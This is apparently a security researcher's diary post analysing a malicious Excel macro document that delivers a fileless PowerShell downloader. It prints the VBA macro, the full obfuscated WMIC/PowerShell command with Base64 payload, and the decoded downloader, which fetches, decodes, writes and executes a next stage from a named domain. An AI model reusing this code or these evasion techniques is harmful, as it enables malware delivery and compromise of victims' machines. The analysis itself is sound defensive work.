Malicious Excel Delivering Fileless Payload
Macros in Office documents are so common today that my honeypots and hunting scripts catch a lot of them daily. I try to keep an eye on them because sometimes you can spot an interesting one (read: “using a less common technique”). Yesterday, I found such a sample that deserve a quick diary!
The Excel sheet is called ‘bill-and-payment-76399.xlsm’ (SHA256: c1442825db496e97bd7f58d26ee270c461cb309617c610365730ea2416b4d3d3). It has been submitted several times on VT from different countries, so it must be part of an ongoing campaign. Its current score is 33/61[1]. Classic behavior, it asks the victim to review a fake invoice:
Let’s have a look at the macro:
Sub newS() Dim c(5000) For Each ce In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants) c(ce.value) = Chr(ce.Row) Next For Each k In c fert = fert + k Next On Error Resume Next WScript.Quit CreateObject("WScript.Shell").Run(fert).Open(0).readAll(1) End Sub Sub REVIEW5() Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close False End Sub Private Sub Documentreview_Click() n = 90: REVIEW5 End Sub Private Sub X_Layout() newS End Sub
First, you see that there is no workbook_open() macro present. Nothing is executed automatically, which is always a nice anti-sandbox trick. In a fully automatic sandbox (without user interaction), nothing will happen.
There is a macro assigned to the “Document review” button and the picture: DocumentReview_click(). It calls REVIEWS() that will simply close the sheet after 5 seconds.
There is another object in the document:
</v:shapetype><v:shape id="X" o:spid="_x0000_s1025" type="#_x0000_t201" style='position:absolute;margin-left:999pt;margin-top:966pt;width:3.75pt; height:3.75pt;z-index:1;mso-wrap-style:tight' stroked="f" strokecolor="windowText [64]" o:insetmode="auto">
I did not find the exact purpose of a '*_Layout' macro but it is called every time the user scrolls into the document. The macro calls another one: newS() which decrypts and executes the malicious payload. Where is it stored?
Here we have two other nice tricks: The malicious code is hidden in the sheet but instead of using a defined range, a specific enumeration method is used: xlCellTypeConstants[2]. It easy to see the spread of constant into the sheet. Select all (CTRL-A) and change the font color. See the results:
From the attacker perspective, It’s a nice way to generate new documents on the fly (so, with a different hash) just by changing randomly the cells!
Finally, the extracted payload is executed directly from the variable:
WScript.Quit CreateObject("WScript.Shell").Run(fert).Open(0).readAll(1)
To easily capture the executed payload, I used Sysmon and event type 1 to get all executed processes. The payload is:
C:\Windows\SysWOW64\wbem\WMIC.exe "prOcesS" 'CALL' cREATE "poWerShELL -eXeCutiOnP bYpaSs -nOprOFILe -NONiNteracT -Win 00000000000000001 Set I3 ([StRINg][ChAr]34) ;$7OEF =([CHAR]44).TOSTrIng() ; .( $PSHome[21]+$PSHOme[34]+'x') ("\"&(${I3}{1}{0}${I3} -f 'al'${7OEF}'s') (${I3}{1}{0}${I3} -f'f'${7OEF}'re') (${I3}{1}{2}{0}${I3} -f (${I3}{2}{1}{0}${I3} -f't'${7OEF}(${I3}{0}{1}${I3} -f 'Obje'${7OEF}'c')${7OEF}'-')${7OEF}'N'${7OEF}'ew');& ( `${S`h`ellID}[1]+`${ShELL`Id}[13]+'x') (&(${I3}{0}{1}${I3}-f're'${7OEF}'f') sYSTeM.iO.COMPRESsiON.deFLaTEStrEAm([Io.memorYsTreAM] [systeM.CoNvERt]::fromBASE64sTrInG( (${I3}{7}{29}{12}{26}{33}{51}{44}{8}{1}{30}{20}{2}{56}{18}{52}{3}{24}{45}{46}{19}{39}{4}{32}{50}{28}{27}{17}{31}{5}{37}{34}{21}{49}{48}{23}{13}{15}{41}{38}{6}{9}{36}{47}{11}{22}{35}{57}{55}{42}{40}{53}{14}{25}{16}{43}{10}{54}{0}${I3} -f 'wYe2fsBQHneg/52oU0tQ1/wE='${7OEF}'kTv'${7OEF}'bYdIo1xebYCa9MGAr'${7OEF}'d5jtzfnIX/ky2bQ8W0N+mbNpDEZbALprQTcliIK10MRbT0osj67wdwXA7GY4uQP/pQ0rDxUdLHIClnYt5uJQYVELN+4UE'${7OEF}'1r1gpl3qmk8qYDwlV+g'${7OEF}'Mm35Y2pha1Kd5tcEhQWaWQHBxom'${7OEF}'fX'${7OEF}'ZVdtd5rKFv4rU5a3QI1UbZrm6nLd6wtJ7UmsVarNta47RMfIOQgWRhPj4b+fZ'${7OEF}'yvMpeV6om+aL/mpmgiFuR8VNFXRsZUaj8Jstraj5ovYRX/3Y12Bh4uSBoFH44kH8oAxDLvW/sL9OGpV6Yb9NGlD19hXglE/kDyLD9Rqf'${7OEF}'N5bK4cRMVDrKxibKkBDTt/8rXa3NircutqSQPxYnMDY+OOlkXaj1lp28QYDwMMLW3DnatL7WXxAhQQ'${7OEF}'FFjuYYR55juzc+97s9bseUwHF'${7OEF}'Une0tsObZ5YD7q'${7OEF}'dFwoVK+6jegqZ/TdJ7sPyX7j/AHvytlpfffysBFsr88hOQggFiQaztcejNcrEevN8c33Uv6'${7OEF}'otau0qFXbUInBDEkoKFfpxYw3jCGSe2IHmCDUcrzawFIz4VkBwSGCvtgvo6ruivkzQ5a1pi0l240mU5PJ4fy6sCR5JhQBpRnsOpvxNcAtGdYp/yDhqSUqRQjKO/'${7OEF}'CqPD/2u+dtQ'${7OEF}'oFclQZ3nB6Cv/Q2'${7OEF}'N9Solas3Hy+dPUu182Xw/djJyKdWqO1ZFlKLp+61dvpKPyZnxksfRNjnp7Gq5jN7G1kST2DhB18xTmzy'${7OEF}'6oQXyxLbUUjYDxiIj'${7OEF}'5mY+0J6Y50COvXsPpYKLPEmq+Zrc6wUibXvzoShw3+Y8xMz/+fw8Gc9EnITBcjH/5ME7tz+Bb9WMXm2'${7OEF}'kind2LzhewL3RrTGHcDnUTVnZk5SR/1nc8/VBVT+/Sh0cEwzi5v4C3xWNHpFrpwTKk6Hqu9LbiVkhyUCWlmhwpPi2Rorp+SDJDcnXsBfM8Qp+eqGYyUbU4oybAJejRlbrk7OLc+viu+vGC'${7OEF}'xa7ZgGlaiwFYY46gs30E2rG2zDv4RR2D8kJiz1eA8my+8qZfy4u0kauo6'${7OEF}'iqJtVBuVPLAaUgj1XBO5TiOw62TOpvwZ0ejT'${7OEF}'E3BotzSwdBfn1QHFT6nnLjcXF'${7OEF}'a8qqbelU+WbRGiorgGe0X'${7OEF}'mWSeNtDpoM3Y7ji/Q4x/kqDsc4ahjEGSx/WO94mepRMyK2EbWn4fnym2lt3ZvvQhW7krFKih'${7OEF}'TiP8r+5npldrUVEvpdnuElKUNbI5WaVOnp2ibEP6mRe2NZp6RG30curYdHnNnwLu9By1diemtwmCvuM+jdxs13bd'${7OEF}'N3wcdueih7vNoEt/es4dvrx10yfHPJJZ68qTNAmpA2nadIeiH9qyRKK35PPWjbpu68'${7OEF}'Zh/Fxo5I9BlSwl+lDkgIInv31Ol4xrFWRhpRb1CqNkCM9YMJ1ViJlnqHpLpsbmZbvzsAJgmxClJ+n9IboiQ697CeGO8PQ7kA'${7OEF}'lQ'${7OEF}'w9oMP0gosx+f/azN8wytH012ZeTfSXZf0i00oLpbqSf6d0mLrFwSlt83/u2bjL55ZwZjE3kbm1PIVcmCZKrJhojwXgX43AbnzDY2gOJGylWFkSZyeqMZcaUJUgrYwOvSdrPdGUoth1cXUg8xeeffzHYm8i7tSBzlSSzCBXnqXA37FnNeGivIBSJK1/MyOYNeYzP3'${7OEF}'oAoHQ4ADepZF7w8'${7OEF}'WZA2roNnGDSKxTjCKz'${7OEF}'pZSHHwmmuZ7s+Jbd'${7OEF}'aurTYDlXFnl6bgUKZU9IpB9onsW'${7OEF}'hIuo8hY6dfGE9IEGe5tPqcyi98IETbu4wMXegGxoYxeDJXPLrMsQ0cnKWplrX'${7OEF}'+ZDKfkW+KxBEVKNc+p6x5eQ2MTKf1BdhJN'${7OEF}'x/9+0OIFssSCkp8K'${7OEF}'81WklWKm1WSxENPSeBatcwFYITmAVV'${7OEF}'YC+QUjAJ8vQPv9ihIn39zEwbdX3/TfST2rWqTVV5x/KJ4zW/IN5//aqJ/Y0UUbwi8+RlEaIzdHGApkRtJ'${7OEF}'KjqbAXz5ioZEAew9XNQITG2OAzjG24n1Kpa'${7OEF}'NqTFo'${7OEF}'iGAniuslhTDzK0n6bmEC5kRrzpUxeapS+hF2QDsbB3eNdTWOttec2x+WpNk3HFu4iqsO+cThg1fmeeKrQkwb/p6WHdPeYKQ03xFnVNiUJ/EMqFnstvbe2leTULw6VAvDYmFyT3PFT/J7Xwiu4smscjkHojS/RveTq2ALXEfZyHsuKKaxVjHxP'${7OEF}'7CYNd/DTJAdx/Ae81yGad0Y8bFNWXLBWxtDb/uuk5Gj37E8+KRXLsIWHFBpvMYH'${7OEF}'xyJhWZ5/bvQf5Wcuy3QcuxZMnaQDld6HYF2qSEGl/qlsnzzYEugX1UylWausnwUOWYheZLF6J3D'${7OEF}'nz85eJp6mUtvmj7r'${7OEF}'OQQlqQA5uELvW74sWxJ5d9QrTr99yVeCkQnuhFZJ/fJkV9Hj7qxdNWS'${7OEF}'EmkBW4zzd/a4Joeru'${7OEF}'K'${7OEF}'fOYvRPuVGYyk+IkKzC18xWVfeYtcvqOrxICRx2AHW6hsMK0npDWWNy3fU8Ulve'${7OEF}'EV5od85T33XnF/7T0x1CjlA'${7OEF}'pL0uAoXgMBeC4xGmbE2rRGTX9j58LPvFOlaW+iSARSMcfROKqpbWIuBpq'${7OEF}'cr4AyU/nHd7x7hZ4fnXp2oD8n07C1wVO7VLIYQBrqgViWQVUkaQXn2I6nuqhsorQ9+6epEK1vLtGu7cx0tc'${7OEF}'W+E2oLtvdtIwjhU/wPFayFKfGCCcCWrnGKkpdedQ1efdTmJa2q3r8'${7OEF}'7KQCzriTXv9zQpLp/'${7OEF}'ylr0m5bYA8vl6dngXGyB/eAnD2yi9i62H9C7G0t35VR5TRpwJ1cz'${7OEF}'m5Typ+QlFtj/GmnK+5JyvgUsXr85UbbpzQOt2CRIOCHxfOTmxlI9tUADEXu'${7OEF}'XsV5b'${7OEF}'zZkrZA7iTMoyfr') )${7OEF} [io.cOMPressiON.coMPreSSioNMOde]::deCompResS)| &('%%') {&(${I3}{0}{1}${I3} -f 'r'${7OEF}'ef') sYSteM.io.sTreAMreADEr(`${_}${7OEF}[sySteM.tExT.encoDing]::asciI ) } ).ReadTOENd()"\") "
The big Base64 chunk can be easily reversed using the PowerShell ISE. Here is the result:
.("{2}{0}{1}{3}"-f 'ar','IA','seT-v','blE') tJ4 ( [typE]("{0}{3}{1}{2}" -f 'sys','C','onvERt','tem.') ) ; .("{2}{1}{3}{0}"-f 'RiAblE','-v','sET','a') xs4Hq ( [tYpe]("{1}{0}{3}{2}{4}"-f 'IoN.AsSEm','reFlect','L','b','Y') ) ; $10FP=[tYPe]("{1}{0}{4}{7}{5}{11}{10}{2}{9}{3}{6}{8}" -f 'sTem.se','sy','Nc','.wiNd','c','ty','owSIdeN','uRI','tiTY','ipAl','ri','.p') ; .("{1}{0}{2}" -f'TE','SEt-I','M') varIaBLE:muR ( [Type]("{0}{1}{3}{2}" -F 'TEx','t.eN','g','CodIN') ) ; $zq72=[TyPE]("{1}{2}{0}" -f'T','con','vER') ; .("{0}{1}"-f'SeT-i','teM') ('va'+'RiABlE:'+'aw8'+'z7T') ( [TyPe]("{1}{0}" -f '.File','io')); .("{0}{2}{1}"-f 'SET-I','m','TE') ("varIAB"+"le:5"+"Psl") ([TYpe]("{1}{0}"-F 'egeX','r') ) ; ${G}=1;${v}= (&("{2}{1}{3}{0}" -f 'e','eT-','G','VaRIAbl') TJ4 -VaL )::("{0}{1}" -f'ToBoo','lean').Invoke(${g});${N`N}=10*10;${YL}='';${S}=0;function m`2(${ih}){$(${ih}.("{1}{0}{3}{2}" -f 'bstri','su','g','n').Invoke(${g}) -replace('-',${Yl})) -replace('S',${Yl});return ${_}};${Mk}='ms';${ym}='n';${QE}=(.("{0}{1}{2}" -f'Get-Pr','oces','s') -Id ${P`ID})."Mai`NwINd`o`w`hAnDlE";${cA}=[Runtime.InteropServices.HandleRef];${X`x}=.("{1}{0}" -f'ef','r') ${CA}(${G},${Q`e});${t}=&("{0}{1}"-f 're','f') ${C`A}(2,${s});(( ( &("{0}{1}"-f'Di','r') VAriAble:xS4hQ).vaLUe::("{1}{2}{4}{3}{0}{5}" -f 't','L','oad','ar','WithP','ialName').Invoke('Wi'+${Y`M}+'dow'+("{1}{0}" -f 'se','sBa'))).("{0}{2}{1}"-f 'Ge','pe','tTy').Invoke(("{1}{0}"-f'.Wi','MS')+${y`M}+("{1}{0}" -f'.U','32')+${YM}+("{0}{1}" -f 's','afe')+("{2}{1}{0}"-f's','hod','NativeMet')))::("{2}{0}{3}{1}" -f'e','owPos','S','tWind').Invoke(${xx},${t},${s},${S},${nN},${N`N},64.5*256);${cc}=("{0}{1}"-f 'om',' /')+"";${C`c}=${c`C}.("{0}{1}" -f 'spli','t').Invoke(' ');${s`S}=.('m2')(( ( .("{1}{0}{2}" -f 'ldI','Chi','TeM') VaRiaBlE:10Fp).VAluE::("{2}{0}{1}"-f 'e','tCurrent','G').Invoke())."us`eR"."VAl`Ue");${e}='ht'+'t'+("{1}{0}"-f'//','ps:')+"$V"+'1'+${v}+'.c'+(${cc}[${S},${g}] -replace '(\D{5})','/')+'?'+${S`S};if(!(&("{0}{3}{2}{1}"-f'Test-C','n','ectio','onn') -Cn ${e}.("{1}{0}" -f 'plit','s').Invoke('/')[2].("{2}{0}{1}" -f'E','nd','Trim').Invoke(' ') -BufferSize 16 -Count 1 -ea ${S} -quiet)){${E`d}=${e}.("{1}{0}{3}{2}"-f'bs','su','ing','tr').Invoke(0,8);${e}=${ED}+"0"+${e}.("{1}{0}{2}"-f'plac','re','e').Invoke(${e`D},${Y`l})};&('Si') ("{2}{3}{0}{1}"-f 'iab','le:/f','V','ar') ${e}.("{0}{1}{2}" -f're','plac','e').Invoke(' ',${yl});${H`B}=${Y`m}+'t';.('Sv') 1 "Net.WebClie$hb";&('SI') ("{0}{1}{2}" -f 'Var','iabl','e:C2') (.("{0}{1}" -f 'r','ef') (&('Gv') 1 -Va));&('SV') ('c') ("{1}{2}{0}" -f 'ta','Dow','nloadDa');${o`AD}=(([Char[]](.("{0}{1}{2}"-f 'V','ar','iable') ('C2') -ValueOn).((.("{2}{1}{0}"-f 'le','ab','Vari') ('c') -Val))."inVO`Ke"((&("{1}{0}{2}"-f 'a','Vari','ble') ('f'))."V`AlUe"))-Join${Yl});${T`Ii}=${eNv`:TE`mp};${m`I}=(${D}=&("{0}{1}"-f'g','ci') ${t`Ii}|&("{3}{1}{2}{0}" -f 'andom','t','-r','ge'))."Na`ME" -replace ".{4}$";${W}=${t`ii}+'\'+${mi}+'.';${V`M}=${o`AD}.("{2}{1}{0}"-f 'ing','tr','subs').Invoke(${S},${G});${P}=[int]${v`m}*${NN};${l`Qa} =${O`AD}.("{2}{1}{0}" -f'e','ov','rem').Invoke(${s},${G});${p`L}=${l`qA} -split'!';.("{1}{0}" -f'l','sa') ("{0}{1}"-f'utf','8') ("{2}{0}{1}" -f 'egsv','r32','r');${j`p}= ( &("{1}{0}{2}"-f'IAbl','GeT-VaR','E') muR -vALUeon)::"u`TF8";function V`A(${ZX}){${S`A}= ( .("{1}{0}"-f'TeM','I') VArIable:zq72 ).VAlue::("{1}{2}{0}{3}" -f 'Base64St','F','rom','ring').Invoke(${z`x});return ${S`A}};foreach(${i`T} in ${pL}[${S}]){${G}=@();${p`Pt}=${v`M}.("{2}{1}{3}{0}" -f'y','harAr','ToC','ra').Invoke();${i`T}=.('va')(${I`T});for(${J`l}=${S}; ${J`L} -lt ${i`T}."C`OuNT"; ${j`L}++){${g} += [char]([Byte]${It}[${JL}] -bxor[Byte]${p`pT}[${J`L}%${p`pT}."C`OuNt"])}};${vv}=${l`qA}."RE`plaCe"((${p`L}[${s}]+"!"),${j`P}."GET`s`TR`INg"(${g})); ( .("{0}{1}" -f 'iT','eM') vArIaBLe:Aw8z7t).vaLuE::("{1}{2}{0}"-f'tes','W','riteAllBy').Invoke(${w},(.('va')(${Vv} -replace ".{200}$")));if((.("{1}{0}"-f'ci','g') ${W})."l`ENgtH" -lt ${P}){exit};&("{0}{1}"-f 'slee','p') 17;.("{0}{1}"-f 'ut','f8') -s ${W};.("{0}{1}" -f'sl','eep') 17; $aW8z7t::"WriTEaLl`lIN`Es"(${W}, (&("{1}{0}" -f 'i','Gc') ("vaRIaB"+"LE:5"+"pSl") ).vaLUE::("{1}{2}{0}" -f 'ace','r','epl').Invoke(${S`s},'\d',${y`l}))
Nicely obfuscated. It's a downloader, the URL to fetch the next stage is located here:
${e}='ht'+'t'+("{1}{0}"-f'//','ps:')+"$V"+'1'+${v}+'.c'+(${cc}[${S},${g}] -replace '(\D{5})','/')+'?'+${S`S};
At execution time, it contains:
https://True1True.com/?15211866265027187085091015791359731000
The domain does not resolve to an IP at the moment but I found two IP addresses in passive DNS: 84.38.183.36, 80.249.146.7.
[1] https://www.virustotal.com/gui/file/c1442825db496e97bd7f58d26ee270c461cb309617c610365730ea2416b4d3d3/detection
[2] https://docs.microsoft.com/en-us/office/vba/api/excel.xlcelltype
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments